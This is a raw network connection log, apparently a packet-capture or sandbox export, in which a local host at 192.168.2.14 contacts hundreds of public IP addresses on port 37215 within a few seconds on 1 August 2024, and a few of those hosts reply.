Aug 1, 2024 15:34:56.858443975 CEST	47767	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:56.858458996 CEST	47767	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:56.858462095 CEST	47767	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:56.858480930 CEST	47767	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:56.858529091 CEST	37215	47767	41.154.169.112	192.168.2.14
Aug 1, 2024 15:34:56.858540058 CEST	37215	47767	197.249.117.43	192.168.2.14
Aug 1, 2024 15:34:56.858550072 CEST	37215	47767	157.202.20.92	192.168.2.14
Aug 1, 2024 15:34:56.858576059 CEST	47767	37215	192.168.2.14	41.154.169.112
Aug 1, 2024 15:34:56.858587980 CEST	47767	37215	192.168.2.14	197.249.117.43
Aug 1, 2024 15:34:56.858649969 CEST	47767	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:57.060116053 CEST	37215	43680	222.142.83.55	192.168.2.14
Aug 1, 2024 15:34:57.060328960 CEST	43680	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:57.435301065 CEST	37215	38164	222.239.93.139	192.168.2.14
Aug 1, 2024 15:34:57.435580969 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:57.545582056 CEST	37215	56550	197.130.235.100	192.168.2.14
Aug 1, 2024 15:34:57.545792103 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:57.847335100 CEST	47767	37215	192.168.2.14	41.90.90.193
Aug 1, 2024 15:34:57.847337961 CEST	47767	37215	192.168.2.14	206.49.216.177
Aug 1, 2024 15:34:57.847342014 CEST	47767	37215	192.168.2.14	157.211.124.129
Aug 1, 2024 15:34:57.847345114 CEST	47767	37215	192.168.2.14	197.29.248.128
Aug 1, 2024 15:34:57.847345114 CEST	47767	37215	192.168.2.14	41.73.80.180
Aug 1, 2024 15:34:57.847345114 CEST	47767	37215	192.168.2.14	157.237.144.80
Aug 1, 2024 15:34:57.847345114 CEST	47767	37215	192.168.2.14	157.248.29.151
Aug 1, 2024 15:34:57.847345114 CEST	47767	37215	192.168.2.14	197.149.144.146
Aug 1, 2024 15:34:57.847361088 CEST	47767	37215	192.168.2.14	157.87.131.121
Aug 1, 2024 15:34:57.847363949 CEST	47767	37215	192.168.2.14	157.57.240.113
Aug 1, 2024 15:34:57.847395897 CEST	47767	37215	192.168.2.14	41.24.237.156
Aug 1, 2024 15:34:57.847403049 CEST	47767	37215	192.168.2.14	197.151.244.84
Aug 1, 2024 15:34:57.847409010 CEST	47767	37215	192.168.2.14	105.125.125.72
Aug 1, 2024 15:34:57.847409010 CEST	47767	37215	192.168.2.14	157.142.10.3
Aug 1, 2024 15:34:57.847414017 CEST	47767	37215	192.168.2.14	41.37.44.164
Aug 1, 2024 15:34:57.847460032 CEST	47767	37215	192.168.2.14	41.203.194.255
Aug 1, 2024 15:34:57.847460032 CEST	47767	37215	192.168.2.14	157.232.172.49
Aug 1, 2024 15:34:57.847484112 CEST	47767	37215	192.168.2.14	197.132.197.237
Aug 1, 2024 15:34:57.847495079 CEST	47767	37215	192.168.2.14	93.235.177.37
Aug 1, 2024 15:34:57.847520113 CEST	47767	37215	192.168.2.14	197.230.16.138
Aug 1, 2024 15:34:57.847536087 CEST	47767	37215	192.168.2.14	41.147.59.204
Aug 1, 2024 15:34:57.847551107 CEST	47767	37215	192.168.2.14	157.129.91.246
Aug 1, 2024 15:34:57.847567081 CEST	47767	37215	192.168.2.14	157.114.121.114
Aug 1, 2024 15:34:57.847584963 CEST	47767	37215	192.168.2.14	102.36.88.11
Aug 1, 2024 15:34:57.847604990 CEST	47767	37215	192.168.2.14	211.215.33.64
Aug 1, 2024 15:34:57.847649097 CEST	47767	37215	192.168.2.14	157.251.119.171
Aug 1, 2024 15:34:57.847652912 CEST	47767	37215	192.168.2.14	41.215.104.193
Aug 1, 2024 15:34:57.847666979 CEST	47767	37215	192.168.2.14	197.54.51.84
Aug 1, 2024 15:34:57.847671986 CEST	47767	37215	192.168.2.14	157.150.120.132
Aug 1, 2024 15:34:57.847709894 CEST	47767	37215	192.168.2.14	41.181.223.196
Aug 1, 2024 15:34:57.847728968 CEST	47767	37215	192.168.2.14	157.176.58.200
Aug 1, 2024 15:34:57.847744942 CEST	47767	37215	192.168.2.14	197.96.142.9
Aug 1, 2024 15:34:57.847783089 CEST	47767	37215	192.168.2.14	41.84.22.248
Aug 1, 2024 15:34:57.847783089 CEST	47767	37215	192.168.2.14	197.165.44.241
Aug 1, 2024 15:34:57.847795963 CEST	47767	37215	192.168.2.14	41.58.134.215
Aug 1, 2024 15:34:57.847820997 CEST	47767	37215	192.168.2.14	114.134.65.109
Aug 1, 2024 15:34:57.847831964 CEST	47767	37215	192.168.2.14	41.162.60.182
Aug 1, 2024 15:34:57.847867012 CEST	47767	37215	192.168.2.14	157.56.56.118
Aug 1, 2024 15:34:57.847870111 CEST	47767	37215	192.168.2.14	197.78.203.88
Aug 1, 2024 15:34:57.847882032 CEST	47767	37215	192.168.2.14	41.204.108.240
Aug 1, 2024 15:34:57.847898006 CEST	47767	37215	192.168.2.14	157.112.122.223
Aug 1, 2024 15:34:57.847915888 CEST	47767	37215	192.168.2.14	41.160.45.61
Aug 1, 2024 15:34:57.847930908 CEST	47767	37215	192.168.2.14	103.171.30.236
Aug 1, 2024 15:34:57.847945929 CEST	47767	37215	192.168.2.14	197.20.107.124
Aug 1, 2024 15:34:57.847959995 CEST	47767	37215	192.168.2.14	149.34.182.48
Aug 1, 2024 15:34:57.847974062 CEST	47767	37215	192.168.2.14	41.6.19.64
Aug 1, 2024 15:34:57.847985983 CEST	47767	37215	192.168.2.14	157.168.137.14
Aug 1, 2024 15:34:57.848001003 CEST	47767	37215	192.168.2.14	41.65.128.212
Aug 1, 2024 15:34:57.848015070 CEST	47767	37215	192.168.2.14	41.191.104.196
Aug 1, 2024 15:34:57.848027945 CEST	47767	37215	192.168.2.14	197.99.106.214
Aug 1, 2024 15:34:57.848051071 CEST	47767	37215	192.168.2.14	71.187.197.117
Aug 1, 2024 15:34:57.848069906 CEST	47767	37215	192.168.2.14	41.129.168.89
Aug 1, 2024 15:34:57.848113060 CEST	47767	37215	192.168.2.14	93.177.38.131
Aug 1, 2024 15:34:57.848128080 CEST	47767	37215	192.168.2.14	41.31.132.209
Aug 1, 2024 15:34:57.848145962 CEST	47767	37215	192.168.2.14	41.92.43.162
Aug 1, 2024 15:34:57.848177910 CEST	47767	37215	192.168.2.14	76.200.156.167
Aug 1, 2024 15:34:57.848212957 CEST	47767	37215	192.168.2.14	197.17.60.126
Aug 1, 2024 15:34:57.848221064 CEST	47767	37215	192.168.2.14	97.171.232.159
Aug 1, 2024 15:34:57.848237991 CEST	47767	37215	192.168.2.14	197.97.26.133
Aug 1, 2024 15:34:57.848242044 CEST	47767	37215	192.168.2.14	197.216.173.102
Aug 1, 2024 15:34:57.848253012 CEST	47767	37215	192.168.2.14	197.10.197.43
Aug 1, 2024 15:34:57.848262072 CEST	47767	37215	192.168.2.14	41.116.1.158
Aug 1, 2024 15:34:57.848268032 CEST	47767	37215	192.168.2.14	157.216.131.156
Aug 1, 2024 15:34:57.848294020 CEST	47767	37215	192.168.2.14	157.230.221.104
Aug 1, 2024 15:34:57.848309040 CEST	47767	37215	192.168.2.14	197.165.253.211
Aug 1, 2024 15:34:57.848320961 CEST	47767	37215	192.168.2.14	157.239.96.79
Aug 1, 2024 15:34:57.848335028 CEST	47767	37215	192.168.2.14	197.31.125.101
Aug 1, 2024 15:34:57.848352909 CEST	47767	37215	192.168.2.14	197.150.103.178
Aug 1, 2024 15:34:57.848371029 CEST	47767	37215	192.168.2.14	100.61.232.108
Aug 1, 2024 15:34:57.848409891 CEST	47767	37215	192.168.2.14	157.10.239.129
Aug 1, 2024 15:34:57.848412991 CEST	47767	37215	192.168.2.14	157.213.131.21
Aug 1, 2024 15:34:57.848438025 CEST	47767	37215	192.168.2.14	41.145.159.79
Aug 1, 2024 15:34:57.848459959 CEST	47767	37215	192.168.2.14	157.53.183.168
Aug 1, 2024 15:34:57.848470926 CEST	47767	37215	192.168.2.14	197.151.44.58
Aug 1, 2024 15:34:57.848493099 CEST	47767	37215	192.168.2.14	88.222.205.218
Aug 1, 2024 15:34:57.848499060 CEST	47767	37215	192.168.2.14	157.204.133.150
Aug 1, 2024 15:34:57.848524094 CEST	47767	37215	192.168.2.14	41.1.3.252
Aug 1, 2024 15:34:57.848541021 CEST	47767	37215	192.168.2.14	43.93.36.159
Aug 1, 2024 15:34:57.848570108 CEST	47767	37215	192.168.2.14	157.220.198.2
Aug 1, 2024 15:34:57.848582983 CEST	47767	37215	192.168.2.14	41.255.21.52
Aug 1, 2024 15:34:57.848594904 CEST	47767	37215	192.168.2.14	157.210.79.228
Aug 1, 2024 15:34:57.848614931 CEST	47767	37215	192.168.2.14	197.18.179.76
Aug 1, 2024 15:34:57.848628044 CEST	47767	37215	192.168.2.14	157.201.87.250
Aug 1, 2024 15:34:57.848648071 CEST	47767	37215	192.168.2.14	157.35.141.223
Aug 1, 2024 15:34:57.848659039 CEST	47767	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:57.848666906 CEST	47767	37215	192.168.2.14	157.238.196.251
Aug 1, 2024 15:34:57.848694086 CEST	47767	37215	192.168.2.14	197.133.230.160
Aug 1, 2024 15:34:57.848716021 CEST	47767	37215	192.168.2.14	197.132.72.73
Aug 1, 2024 15:34:57.848730087 CEST	47767	37215	192.168.2.14	157.198.90.247
Aug 1, 2024 15:34:57.848743916 CEST	47767	37215	192.168.2.14	41.163.155.166
Aug 1, 2024 15:34:57.848757982 CEST	47767	37215	192.168.2.14	162.68.107.23
Aug 1, 2024 15:34:57.848777056 CEST	47767	37215	192.168.2.14	178.6.156.240
Aug 1, 2024 15:34:57.848797083 CEST	47767	37215	192.168.2.14	157.66.1.202
Aug 1, 2024 15:34:57.848813057 CEST	47767	37215	192.168.2.14	157.219.204.110
Aug 1, 2024 15:34:57.848834038 CEST	47767	37215	192.168.2.14	197.211.212.50
Aug 1, 2024 15:34:57.848844051 CEST	47767	37215	192.168.2.14	61.253.164.97
Aug 1, 2024 15:34:57.848870039 CEST	47767	37215	192.168.2.14	197.34.233.137
Aug 1, 2024 15:34:57.848886013 CEST	47767	37215	192.168.2.14	41.140.234.5
Aug 1, 2024 15:34:57.848906994 CEST	47767	37215	192.168.2.14	41.128.232.17
Aug 1, 2024 15:34:57.848922014 CEST	47767	37215	192.168.2.14	163.13.197.243
Aug 1, 2024 15:34:57.848938942 CEST	47767	37215	192.168.2.14	197.225.231.194
Aug 1, 2024 15:34:57.848947048 CEST	47767	37215	192.168.2.14	157.229.218.247
Aug 1, 2024 15:34:57.848972082 CEST	47767	37215	192.168.2.14	41.246.140.116
Aug 1, 2024 15:34:57.848979950 CEST	47767	37215	192.168.2.14	41.14.105.62
Aug 1, 2024 15:34:57.848999977 CEST	47767	37215	192.168.2.14	41.76.63.228
Aug 1, 2024 15:34:57.849016905 CEST	47767	37215	192.168.2.14	157.84.131.223
Aug 1, 2024 15:34:57.849029064 CEST	47767	37215	192.168.2.14	41.30.124.207
Aug 1, 2024 15:34:57.849051952 CEST	47767	37215	192.168.2.14	197.215.131.218
Aug 1, 2024 15:34:57.849057913 CEST	47767	37215	192.168.2.14	157.2.232.177
Aug 1, 2024 15:34:57.849076033 CEST	47767	37215	192.168.2.14	197.195.55.149
Aug 1, 2024 15:34:57.849092960 CEST	47767	37215	192.168.2.14	41.79.248.181
Aug 1, 2024 15:34:57.849112988 CEST	47767	37215	192.168.2.14	41.30.242.140
Aug 1, 2024 15:34:57.849128962 CEST	47767	37215	192.168.2.14	197.82.55.213
Aug 1, 2024 15:34:57.849147081 CEST	47767	37215	192.168.2.14	157.27.65.235
Aug 1, 2024 15:34:57.849174976 CEST	47767	37215	192.168.2.14	157.144.231.62
Aug 1, 2024 15:34:57.849189997 CEST	47767	37215	192.168.2.14	151.48.243.201
Aug 1, 2024 15:34:57.849206924 CEST	47767	37215	192.168.2.14	76.44.131.167
Aug 1, 2024 15:34:57.849215984 CEST	47767	37215	192.168.2.14	157.8.155.181
Aug 1, 2024 15:34:57.849234104 CEST	47767	37215	192.168.2.14	197.62.97.184
Aug 1, 2024 15:34:57.849241972 CEST	47767	37215	192.168.2.14	41.84.48.70
Aug 1, 2024 15:34:57.849277020 CEST	47767	37215	192.168.2.14	157.134.56.167
Aug 1, 2024 15:34:57.849286079 CEST	47767	37215	192.168.2.14	157.81.10.212
Aug 1, 2024 15:34:57.849298954 CEST	47767	37215	192.168.2.14	102.155.249.191
Aug 1, 2024 15:34:57.849301100 CEST	47767	37215	192.168.2.14	157.5.115.71
Aug 1, 2024 15:34:57.849313974 CEST	47767	37215	192.168.2.14	157.252.83.173
Aug 1, 2024 15:34:57.849330902 CEST	47767	37215	192.168.2.14	197.241.217.245
Aug 1, 2024 15:34:57.849344015 CEST	47767	37215	192.168.2.14	173.132.210.138
Aug 1, 2024 15:34:57.849351883 CEST	47767	37215	192.168.2.14	197.158.22.61
Aug 1, 2024 15:34:57.849371910 CEST	47767	37215	192.168.2.14	157.156.86.209
Aug 1, 2024 15:34:57.849390030 CEST	47767	37215	192.168.2.14	157.186.5.116
Aug 1, 2024 15:34:57.849406004 CEST	47767	37215	192.168.2.14	197.253.200.71
Aug 1, 2024 15:34:57.849426031 CEST	47767	37215	192.168.2.14	157.16.71.87
Aug 1, 2024 15:34:57.849438906 CEST	47767	37215	192.168.2.14	203.110.14.236
Aug 1, 2024 15:34:57.849458933 CEST	47767	37215	192.168.2.14	41.16.134.246
Aug 1, 2024 15:34:57.849477053 CEST	47767	37215	192.168.2.14	197.156.28.143
Aug 1, 2024 15:34:57.849515915 CEST	47767	37215	192.168.2.14	41.19.215.38
Aug 1, 2024 15:34:57.849518061 CEST	47767	37215	192.168.2.14	157.143.251.19
Aug 1, 2024 15:34:57.849533081 CEST	47767	37215	192.168.2.14	41.134.182.89
Aug 1, 2024 15:34:57.849555016 CEST	47767	37215	192.168.2.14	143.152.253.126
Aug 1, 2024 15:34:57.849572897 CEST	47767	37215	192.168.2.14	209.80.107.248
Aug 1, 2024 15:34:57.849590063 CEST	47767	37215	192.168.2.14	197.233.129.128
Aug 1, 2024 15:34:57.849598885 CEST	47767	37215	192.168.2.14	41.38.106.104
Aug 1, 2024 15:34:57.849611998 CEST	47767	37215	192.168.2.14	155.80.230.207
Aug 1, 2024 15:34:57.849626064 CEST	47767	37215	192.168.2.14	89.25.72.97
Aug 1, 2024 15:34:57.849643946 CEST	47767	37215	192.168.2.14	197.246.4.167
Aug 1, 2024 15:34:57.849658012 CEST	47767	37215	192.168.2.14	41.39.194.209
Aug 1, 2024 15:34:57.849677086 CEST	47767	37215	192.168.2.14	41.232.120.12
Aug 1, 2024 15:34:57.849684954 CEST	47767	37215	192.168.2.14	41.52.44.249
Aug 1, 2024 15:34:57.849706888 CEST	47767	37215	192.168.2.14	197.1.242.190
Aug 1, 2024 15:34:57.849720955 CEST	47767	37215	192.168.2.14	49.99.135.48
Aug 1, 2024 15:34:57.849739075 CEST	47767	37215	192.168.2.14	121.62.199.140
Aug 1, 2024 15:34:57.849751949 CEST	47767	37215	192.168.2.14	41.45.42.162
Aug 1, 2024 15:34:57.849772930 CEST	47767	37215	192.168.2.14	41.166.103.104
Aug 1, 2024 15:34:57.849788904 CEST	47767	37215	192.168.2.14	41.90.98.251
Aug 1, 2024 15:34:57.849797964 CEST	47767	37215	192.168.2.14	41.111.151.249
Aug 1, 2024 15:34:57.849833012 CEST	47767	37215	192.168.2.14	157.26.83.134
Aug 1, 2024 15:34:57.849852085 CEST	47767	37215	192.168.2.14	41.136.163.82
Aug 1, 2024 15:34:57.849874020 CEST	47767	37215	192.168.2.14	197.88.141.86
Aug 1, 2024 15:34:57.849884033 CEST	47767	37215	192.168.2.14	41.99.228.156
Aug 1, 2024 15:34:57.849903107 CEST	47767	37215	192.168.2.14	41.125.35.241
Aug 1, 2024 15:34:57.849925995 CEST	47767	37215	192.168.2.14	198.50.61.121
Aug 1, 2024 15:34:57.849931955 CEST	47767	37215	192.168.2.14	135.67.34.8
Aug 1, 2024 15:34:57.849950075 CEST	47767	37215	192.168.2.14	197.125.173.151
Aug 1, 2024 15:34:57.849961996 CEST	47767	37215	192.168.2.14	148.158.21.110
Aug 1, 2024 15:34:57.849972963 CEST	47767	37215	192.168.2.14	41.34.71.97
Aug 1, 2024 15:34:57.849997044 CEST	47767	37215	192.168.2.14	197.203.25.163
Aug 1, 2024 15:34:57.850011110 CEST	47767	37215	192.168.2.14	197.218.47.52
Aug 1, 2024 15:34:57.850023031 CEST	47767	37215	192.168.2.14	157.149.59.149
Aug 1, 2024 15:34:57.850038052 CEST	47767	37215	192.168.2.14	197.12.177.238
Aug 1, 2024 15:34:57.850059032 CEST	47767	37215	192.168.2.14	41.226.185.52
Aug 1, 2024 15:34:57.850073099 CEST	47767	37215	192.168.2.14	41.28.228.67
Aug 1, 2024 15:34:57.850091934 CEST	47767	37215	192.168.2.14	41.38.34.178
Aug 1, 2024 15:34:57.850095034 CEST	47767	37215	192.168.2.14	41.138.157.223
Aug 1, 2024 15:34:57.850106955 CEST	47767	37215	192.168.2.14	17.184.162.193
Aug 1, 2024 15:34:57.850140095 CEST	47767	37215	192.168.2.14	157.58.83.185
Aug 1, 2024 15:34:57.850142002 CEST	47767	37215	192.168.2.14	157.204.169.43
Aug 1, 2024 15:34:57.850152969 CEST	47767	37215	192.168.2.14	157.82.126.97
Aug 1, 2024 15:34:57.850172997 CEST	47767	37215	192.168.2.14	41.117.122.197
Aug 1, 2024 15:34:57.850188017 CEST	47767	37215	192.168.2.14	157.169.67.123
Aug 1, 2024 15:34:57.850210905 CEST	47767	37215	192.168.2.14	197.107.69.53
Aug 1, 2024 15:34:57.850240946 CEST	47767	37215	192.168.2.14	41.118.237.13
Aug 1, 2024 15:34:57.850250959 CEST	47767	37215	192.168.2.14	157.145.13.106
Aug 1, 2024 15:34:57.850267887 CEST	47767	37215	192.168.2.14	149.215.103.180
Aug 1, 2024 15:34:57.850281000 CEST	47767	37215	192.168.2.14	197.162.147.135
Aug 1, 2024 15:34:57.850300074 CEST	47767	37215	192.168.2.14	157.157.175.15
Aug 1, 2024 15:34:57.850321054 CEST	47767	37215	192.168.2.14	41.219.222.63
Aug 1, 2024 15:34:57.850353956 CEST	47767	37215	192.168.2.14	197.106.149.105
Aug 1, 2024 15:34:57.850372076 CEST	47767	37215	192.168.2.14	197.169.195.83
Aug 1, 2024 15:34:57.850388050 CEST	47767	37215	192.168.2.14	41.53.43.179
Aug 1, 2024 15:34:57.850409031 CEST	47767	37215	192.168.2.14	41.248.196.155
Aug 1, 2024 15:34:57.850431919 CEST	47767	37215	192.168.2.14	197.51.179.180
Aug 1, 2024 15:34:57.850444078 CEST	47767	37215	192.168.2.14	84.98.41.236
Aug 1, 2024 15:34:57.850470066 CEST	47767	37215	192.168.2.14	197.26.56.105
Aug 1, 2024 15:34:57.850477934 CEST	47767	37215	192.168.2.14	177.125.161.29
Aug 1, 2024 15:34:57.850490093 CEST	47767	37215	192.168.2.14	157.71.147.77
Aug 1, 2024 15:34:57.850498915 CEST	47767	37215	192.168.2.14	197.57.215.100
Aug 1, 2024 15:34:57.850522995 CEST	47767	37215	192.168.2.14	161.192.12.74
Aug 1, 2024 15:34:57.850539923 CEST	47767	37215	192.168.2.14	41.29.216.172
Aug 1, 2024 15:34:57.850558043 CEST	47767	37215	192.168.2.14	197.182.10.251
Aug 1, 2024 15:34:57.850578070 CEST	47767	37215	192.168.2.14	157.252.6.251
Aug 1, 2024 15:34:57.850589991 CEST	47767	37215	192.168.2.14	157.66.221.129
Aug 1, 2024 15:34:57.850624084 CEST	47767	37215	192.168.2.14	157.183.224.16
Aug 1, 2024 15:34:57.850641966 CEST	47767	37215	192.168.2.14	191.56.94.135
Aug 1, 2024 15:34:57.850668907 CEST	47767	37215	192.168.2.14	126.137.46.170
Aug 1, 2024 15:34:57.850668907 CEST	47767	37215	192.168.2.14	157.209.145.254
Aug 1, 2024 15:34:57.850702047 CEST	47767	37215	192.168.2.14	157.42.91.23
Aug 1, 2024 15:34:57.850729942 CEST	47767	37215	192.168.2.14	120.6.1.12
Aug 1, 2024 15:34:57.850744963 CEST	47767	37215	192.168.2.14	197.156.134.107
Aug 1, 2024 15:34:57.850755930 CEST	47767	37215	192.168.2.14	197.127.132.209
Aug 1, 2024 15:34:57.850765944 CEST	47767	37215	192.168.2.14	197.234.158.246
Aug 1, 2024 15:34:57.850779057 CEST	47767	37215	192.168.2.14	197.202.158.70
Aug 1, 2024 15:34:57.850809097 CEST	47767	37215	192.168.2.14	177.87.23.173
Aug 1, 2024 15:34:57.850825071 CEST	47767	37215	192.168.2.14	157.86.111.85
Aug 1, 2024 15:34:57.850887060 CEST	47767	37215	192.168.2.14	197.80.101.70
Aug 1, 2024 15:34:57.850908041 CEST	47767	37215	192.168.2.14	41.67.11.165
Aug 1, 2024 15:34:57.850927114 CEST	47767	37215	192.168.2.14	197.211.42.17
Aug 1, 2024 15:34:57.850940943 CEST	47767	37215	192.168.2.14	102.126.80.229
Aug 1, 2024 15:34:57.850951910 CEST	47767	37215	192.168.2.14	91.54.224.49
Aug 1, 2024 15:34:57.850965977 CEST	47767	37215	192.168.2.14	41.36.26.10
Aug 1, 2024 15:34:57.850986004 CEST	47767	37215	192.168.2.14	17.37.50.46
Aug 1, 2024 15:34:57.851016998 CEST	47767	37215	192.168.2.14	41.223.194.63
Aug 1, 2024 15:34:57.851023912 CEST	47767	37215	192.168.2.14	157.131.159.49
Aug 1, 2024 15:34:57.851027012 CEST	47767	37215	192.168.2.14	197.58.99.51
Aug 1, 2024 15:34:57.851041079 CEST	47767	37215	192.168.2.14	157.96.11.90
Aug 1, 2024 15:34:57.851059914 CEST	47767	37215	192.168.2.14	147.67.92.140
Aug 1, 2024 15:34:57.851075888 CEST	47767	37215	192.168.2.14	166.167.234.241
Aug 1, 2024 15:34:57.851085901 CEST	47767	37215	192.168.2.14	41.180.254.178
Aug 1, 2024 15:34:57.851109028 CEST	47767	37215	192.168.2.14	190.129.172.84
Aug 1, 2024 15:34:57.851123095 CEST	47767	37215	192.168.2.14	157.251.87.206
Aug 1, 2024 15:34:57.851135969 CEST	47767	37215	192.168.2.14	41.216.20.143
Aug 1, 2024 15:34:57.851150990 CEST	47767	37215	192.168.2.14	41.175.32.126
Aug 1, 2024 15:34:57.851167917 CEST	47767	37215	192.168.2.14	157.210.156.78
Aug 1, 2024 15:34:57.851176977 CEST	47767	37215	192.168.2.14	82.245.62.208
Aug 1, 2024 15:34:57.851206064 CEST	47767	37215	192.168.2.14	197.211.233.205
Aug 1, 2024 15:34:57.851228952 CEST	47767	37215	192.168.2.14	41.32.65.7
Aug 1, 2024 15:34:57.851250887 CEST	47767	37215	192.168.2.14	197.78.23.100
Aug 1, 2024 15:34:57.851279974 CEST	47767	37215	192.168.2.14	99.181.163.68
Aug 1, 2024 15:34:57.851298094 CEST	47767	37215	192.168.2.14	197.83.79.167
Aug 1, 2024 15:34:57.851355076 CEST	47767	37215	192.168.2.14	129.208.216.202
Aug 1, 2024 15:34:57.851377010 CEST	47767	37215	192.168.2.14	157.114.146.76
Aug 1, 2024 15:34:57.851391077 CEST	47767	37215	192.168.2.14	126.221.236.52
Aug 1, 2024 15:34:57.851411104 CEST	47767	37215	192.168.2.14	41.194.159.73
Aug 1, 2024 15:34:57.851418972 CEST	47767	37215	192.168.2.14	197.196.164.134
Aug 1, 2024 15:34:57.851425886 CEST	47767	37215	192.168.2.14	197.144.66.71
Aug 1, 2024 15:34:57.851435900 CEST	47767	37215	192.168.2.14	197.57.40.241
Aug 1, 2024 15:34:57.851475000 CEST	47767	37215	192.168.2.14	197.196.99.188
Aug 1, 2024 15:34:57.851480007 CEST	47767	37215	192.168.2.14	41.104.244.105
Aug 1, 2024 15:34:57.851490974 CEST	47767	37215	192.168.2.14	41.65.33.148
Aug 1, 2024 15:34:57.851500988 CEST	47767	37215	192.168.2.14	157.155.48.247
Aug 1, 2024 15:34:57.851526022 CEST	47767	37215	192.168.2.14	140.117.86.32
Aug 1, 2024 15:34:57.851531982 CEST	47767	37215	192.168.2.14	92.172.178.218
Aug 1, 2024 15:34:57.851551056 CEST	47767	37215	192.168.2.14	157.211.143.246
Aug 1, 2024 15:34:57.851568937 CEST	47767	37215	192.168.2.14	41.169.242.157
Aug 1, 2024 15:34:57.851591110 CEST	47767	37215	192.168.2.14	197.192.56.246
Aug 1, 2024 15:34:57.851598978 CEST	47767	37215	192.168.2.14	41.159.86.224
Aug 1, 2024 15:34:57.851609945 CEST	47767	37215	192.168.2.14	157.217.110.254
Aug 1, 2024 15:34:57.852467060 CEST	52222	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:57.853389978 CEST	36586	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:57.854274988 CEST	46778	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:57.855333090 CEST	40864	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:57.856163025 CEST	42200	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:57.857146025 CEST	36768	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:57.858021021 CEST	56702	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:57.858850002 CEST	53584	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:57.859602928 CEST	59660	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:57.860352993 CEST	45172	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:57.861107111 CEST	42208	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:57.861864090 CEST	55958	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:57.862613916 CEST	35962	37215	192.168.2.14	137.123.9.9
Aug 1, 2024 15:34:57.863492012 CEST	44670	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:57.864274025 CEST	36058	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:57.865092039 CEST	55860	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:57.865854025 CEST	34188	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:57.866624117 CEST	47942	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:57.867336035 CEST	49764	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:57.868021965 CEST	47206	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:57.868752003 CEST	53880	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:57.869662046 CEST	37860	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:57.870381117 CEST	36092	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:57.871109962 CEST	60118	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:57.871856928 CEST	39132	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:57.872575998 CEST	57968	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:57.873451948 CEST	60860	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:57.874188900 CEST	41632	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:57.874891043 CEST	54344	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:57.875689983 CEST	60482	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:57.876426935 CEST	42674	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:57.877163887 CEST	45244	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:57.878226042 CEST	50912	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:57.878989935 CEST	49010	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:57.879756927 CEST	56238	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:57.880536079 CEST	44804	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:57.881293058 CEST	37384	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:57.882028103 CEST	52190	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:57.882886887 CEST	32926	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:57.883654118 CEST	53504	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:57.884483099 CEST	40542	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:57.885206938 CEST	45042	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:57.885965109 CEST	42852	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:57.886719942 CEST	34698	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:57.887494087 CEST	34110	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:57.888243914 CEST	60066	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:57.889036894 CEST	39356	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:57.889836073 CEST	34450	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:57.890572071 CEST	32902	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:57.891366959 CEST	54272	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:57.892118931 CEST	57886	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:57.892862082 CEST	37282	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:57.893613100 CEST	34186	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:57.894695997 CEST	43696	37215	192.168.2.14	177.117.141.141
